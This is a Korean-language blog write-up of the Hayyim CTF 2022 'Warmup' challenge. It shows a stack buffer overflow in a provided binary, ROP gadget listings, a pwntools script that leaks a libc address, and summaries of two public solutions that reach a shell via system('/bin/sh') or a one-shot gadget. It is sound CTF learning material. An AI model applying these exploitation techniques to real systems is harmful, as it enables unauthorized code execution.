Hayyim CTF Warmup Write-Up

juuun0·2022년 2월 26일
1
post-thumbnail

Before Start

먼저 본문을 작성하기 이전에 해당 문제를 시간 내에 해결하진 못하였습니다. libc leak까진 성공하였지만 그 이후의 공격 연계에서 방법을 찾지 못했습니다.

대회가 끝난 이후 Write-Up을 보며 비슷하게 진행한 부분도 있었고 새롭게 알게된 개념이 있어 복기 겸 게시글을 작성하게 되었습니다.


Specification

tar gz로 압축된 파일이 제공되었으며 해당 파일에는 Docker build를 위한 파일과 바이너리, 소스코드가 존재하였습니다.

Binary

먼저 binary의 사양에 대해 확인하였습니다.

❯ checksec warmup
[*] '/root/hayyim/Warmup/share/warmup'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64bit ELF이며 Full RELRO, NX 보호 기법이 적용되어 있는 점을 확인할 수 있습니다.

warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=adb16e8c48ba446aba87e229ef58e006dc0304dc, stripped

추가로 stripped 또한 적용되어 있어 symbol에 직접적으로 접근이 불가능한 것을 예상할 수 있었습니다.

Server Environment

Server의 정보는 바이너리와 같이 제공된 Dockerfile을 통해 확인할 수 있었습니다.

FROM ubuntu:18.04
MAINTAINER JSec

RUN groupadd -r warmup && useradd -r -g warmup warmup
RUN apt-get update
RUN apt-get install xinetd -y
RUN chmod 774 /tmp
RUN chmod -R 774 /var/tmp
RUN chmod -R 774 /dev
RUN chmod -R 774 /run
RUN chmod 1733 /tmp /var/tmp /dev/shm

COPY ./xinetd /etc/xinetd.d/warmup

WORKDIR /home/warmup/
COPY ./share/ ./
RUN chown root:warmup ./ -R
RUN chmod 550 ./warmup
RUN chmod 550 ./run.sh

CMD ["/usr/sbin/xinetd","-dontfork"]

OS의 경우 Ubuntu 18.04를 사용하였으며 이외에 특별한 설정은 확인되지 않았습니다.


Vulnerability

Binary의 소스코드도 함께 제공되었기 때문에 취약점의 경우 쉽게 찾을 수 있었습니다.

void vuln() {
        char buf[0x30];
        memset(buf, 0, 0x30);
        write(1, "> ", 2);
        read(0, buf, 0xc0);
}

vuln() 함수 내부에서 read() 로 입력받을 때 선언된 배열보다 큰 size를 입력받고자 하였고 이로 인해 buffer overflow가 가능하였습니다.


Exploit Method

별도로 shell을 호출하거나 flag를 읽어오는 함수가 존재하지 않았기에 interactive shell을 호출하는 것을 목표로 진행하였습니다. 세부 목표는 다음과 같이 정하였습니다.

  1. libc address leak
  2. shell을 획득할 수 있도록 argument 및 RIP 조작

libc address leak

단순하게 구성된 바이너리이기 때문에 gadget을 통해 프로그램을 조작할 필요가 있다고 생각되어 알맞은 gadget을 찾고자 시도하였습니다.

요구되는 gadget은 함수의 구조에 따라 차이가 있지만 ret 을 포함한 gadget을 검색한 결과는 아래와 같았습니다.

❯ ROPgadget --binary warmup | grep "ret"
0x0000000000400579 : add esp, 0x30 ; pop rbx ; ret
0x0000000000400578 : add rsp, 0x30 ; pop rbx ; ret
0x000000000040057c : pop rbx ; ret
0x000000000040057d : ret

사용 가능한 출력함수로 write() 가 존재하였기 때문에 이를 활용하기 위해서는 rdi, rsi, rdx register를 조작할 필요가 있었습니다.

최소한 libc에 존재하는 gadget을 사용하더라도 libc address leak이 선행되어야 하기 때문에 이에 대한 해결이 필요하였습니다.

여러 gadget을 찾아보던 중 직접 gadget을 통해 제어하는 것이 아닌 code의 특정 지점으로 이동하여 함수를 호출하는 방법을 생각하였습니다.

   0x400545:	lea    rsi,[rip+0x32]        # 0x40057e
   0x40054c:	mov    edx,0x2
   0x400551:	sub    rsp,0x30
   0x400555:	mov    rbx,rsp
   0x400558:	mov    rdi,rbx
   0x40055b:	rep stos DWORD PTR es:[rdi],eax
   0x40055d:	mov    edi,0x1
   0x400562:	call   0x4004a0 <write@plt>
   0x400567:	mov    rsi,rbx
   0x40056a:	mov    edx,0xc0
   0x40056f:	xor    edi,edi
   0x400571:	xor    eax,eax
   0x400573:	call   0x4004b0 <read@plt>
   0x400578:	add    rsp,0x30
   0x40057c:	pop    rbx
   0x40057d:	ret

위 내용은 정상적인 함수 호출 과정입니다. 0x4005450x40054c 에서 rsi, edx 에 대한 세팅을 진행한 뒤 마지막으로 0x40055d 에서 edi 를 세팅하여 write() 함수를 호출합니다.

read() 함수의 경우 0x400467 부터 함수를 호출하는 0x400573 까지 연속적으로 진행됩니다. Source code를 참조한 read() 함수의 형태는 read(0, buf, 0xc0) 입니다. 여기서 첫 번째 인자인 'fd' 를 1로 변경 후 write() 함수를 호출하면 'buf' 부터 0xc0 size의 내용을 출력하게 됩니다.

위 가설을 통해 libc address를 얻기 위해서는 항상 동일한 Offset을 가지는 library 내의 주소가 존재해야 합니다. 이를 찾기 위해 gdb를 사용하여 debugging 한 결과 아래 주소를 대상으로 삼을 수 있었습니다.

buf 변수의 시작 주소로부터 0x40 만큼 떨어진 주소에 존재하는 값은 항상 다음과 같은 위치를 가리켰습니다. 또한 일정한 offset을 가지기에 libc address leak에 유용하다고 판단하였습니다.

gef➤  x/i 0x00007fd8881af0ca
   0x7fd8881af0ca <_dl_start_user+50>:	lea    rdx,[rip+0xfa6f]        # 0x7fd8881beb40 <_dl_fini>
  
gef➤  p/x 0x7fd8881af0ca-0x00007fd887dbd000
$1 = 0x3f20ca

위에서 세운 가설을 토대로 다음과 같이 python code를 작성하고 실행한 결과는 아래와 같았습니다.

#!/usr/bin/env python3

from pwn import *

p = process("./warmup")
e = ELF("./warmup")

#context.log_level = 'debug'

padding = "C"*0x38

rdi_0x1_gadget = 0x40055d
offset = 0x3f20ca

payload = padding.encode()
payload += p64(rdi_0x1_gadget)
p.sendafter("> ", payload)

p.recvn(0x40)
libc = u64(p.recvn(6).ljust(8, b'\x00')) - offset
log.critical(f"libc leaked address: {hex(libc)}")
./solve.bak.py 
[+] Starting local process './warmup': pid 1477
[*] '/root/Warmup/share/warmup'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[CRITICAL] libc leaked address: 0x7fa12a648000
[*] Stopped process './warmup' (pid 1477)

libc address의 경우 성공적으로 leak 할 수 있었지만 이후의 chaining을 작성하는 과정에서 계속하여 SIGSEGV가 발생하여 대회 시간 내에 해결하지 못하였습니다.


Review

이후부터 작성된 내용은 대회가 종료된 후 공개된 Write-Up을 참조한 뒤 작성한 내용이며 아래 2개의 Write-Up을 토대로 알게된 사실을 작성하였습니다.

두 개의 Write-Up을 확인하였는데 각각의 풀이 방식에 차이가 존재하였기 때문에 해당 방법들에 대해 모두 찾아보고 분석하였습니다.

Scenario 1

Original: https://github.com/datajerk/ctf-write-ups/blob/master/hayyimctf2022/warmup-cooldown/README.md

첫 번째 방법은 제가 활용하고자 하였던 _dl_start_user+50 값을 통하여 libc address를 leak하는 방식이었습니다. 핵심적인 차이는 다음 내용이었습니다.

payload  = b''
payload += 56 * b'A'
payload += p64(binary.plt.write)

저는 write() 함수를 호출하기 이전, rdi에 '1' 을 set하는 구문으로 이동하였지만 Write-Up에서는 바로 write() 함수의 plt로 점프하여 내용을 출력하였습니다. 당시 제가 아는 내용으로는 'fd'를 stdout 으로 설정할 필요가 있다고 생각하여 payload를 작성하였지만, 실제로는 fd가 stdout 을 의미하는 '1' 이 아닌 '0' 을 가리켜도 출력이 된다는 것이었습니다.

위 Write-Up에서는 이 개념에 대한 예시로 다음과 같은 명령을 제시하였습니다. 해당 명령의 결과는 다음과 같았습니다.

root@e33fa56f4640 ~/hayyim/Warmup/share
❯ echo Nothing >&0
Nothing

FD에 대해 기본적인 개념을 학습하였다면 0은 stdin을 의미하는 것을 알고 있을 것 입니다. 저 또한 각 용도에 맞게 사용해야 한다고 알고 있었지만 개념과 차이가 발생하는 부분이 있었습니다. 이와 관련하여는 더 내용을 찾아본 뒤 정리할 예정입니다.

추가로 Remote를 대상으로 실행하였을 때는 정상적으로 출력되지만 pwntools의 process() 를 사용하여 Local을 대상으로 할 때는 동작하지 않는 이슈가 있었습니다.

마찬가지로 이와 관련된 내용도 해당 Write-Up에 기재되어 있었으며 이는 process() 함수가 FD를 0으로 사용하는 출력을 다루지 않아 발생하는 차이라고 합니다.

I'm using socat vs. process(binary.path) since pwntools process does not deal well with output being written to FD 0. I do not know of an easy way to fix this with pwntools so I just start up socat and then connect to that.

libc address leak을 진행한 이후에는 libc binary에 존재하는 gadget을 이용하여 system("/bin/sh") 를 호출하였습니다.

사용한 Exploit Code는 깃허브에서 확인하실 수 있습니다.

Exploit을 진행하며 한 가지 신기하였던 점은 write() 함수를 호출한 뒤 추가로 프로그램의 흐름을 조작하지 않아도 main() 함수의 시작점으로 돌아온다는 점이었습니다. 이에 대한 원인을 찾기 위해 debuggin 하던 중 write() 함수 호출이 종료된 이후 _dl_start_user+50 지점으로 흐름이 이동되는 것을 확인하었습니다. _dl_start_user+60jmp r12 동작을 수행하였는데 이때 r12 register에 main의 시작 주소가 저장되어 있어 나타나는 현상으로 파악되었습니다.

Scenario 2

Original: https://hackmd.io/@Gt4Bz9fIRAKhqIqhByvn-Q/r1p2Zjm1c

두 번째 시나리오는 ld의 base 주소를 활용하여 libc address leak을 진행하는 방법입니다. buf의 시작 주소로부터 Stack을 살펴보면 하위 1.5 byte가 0x000 으로 끝나는 값이 존재하였습니다.

gef➤  vmmap 0x00007fd8881ae000
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00007fd8881ae000 0x00007fd8881d7000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so

그러나 해당 값은 0xc0보다 더 큰 offset을 가지고 있어 현재 상황에서 출력하는 것에는 한계가 있습니다. 따라서 출력 가능한 위치까지 접근하기 위해 사용된 방법이 반복적으로 특정 지점을 호출하여 buf의 시작 주소를 증가시키는 것이었습니다.

이와 같은 방법이 가능하였던 이유는 main() 이 시작될 당시 stack의 주소와 종료될 때 주소에 0x8의 차이가 존재하였기 때문입니다. Original Write-Up의 경우 push rbx 명령을 수행하는 0x40053d 주소로 흐름을 이동하였습니다.

ld 주소를 획득한 뒤에는 ld 파일에 존재하는 gadget을 사용하여 libc address leak을 진행하였습니다. 이후의 과정은 마찬가지로 shell을 획득하기 위해 register를 조작하는 과정을 거쳤습니다.

system("/bin/sh") 를 호출하는 방법의 경우 Scenario 1에서 진행하였기 때문에 이번 exploit은 oneshot gadget을 활용하여 도전해보았습니다.

그러나 oneshot gadget의 조건이 만족되지 않아 shell을 획득하는데 실패하였는데, 조건 중 "$rsp+0x70" 의 값이 NULL 일 경우를 사용하는 gadget이 존재하였고 이는 padding에 사용되는 값을 0x00으로 변경할 경우 가능할 것으로 보여 payload를 변경하여 시도하였습니다.

최종적으로 조건이 만족되어 oneshot gadget을 활용하여 shell을 획득하는 것 또한 가능하였습니다.

마찬가지로 Exploit은 깃허브 에서 확인할 수 있습니다.


Reference

profile
To be

0개의 댓글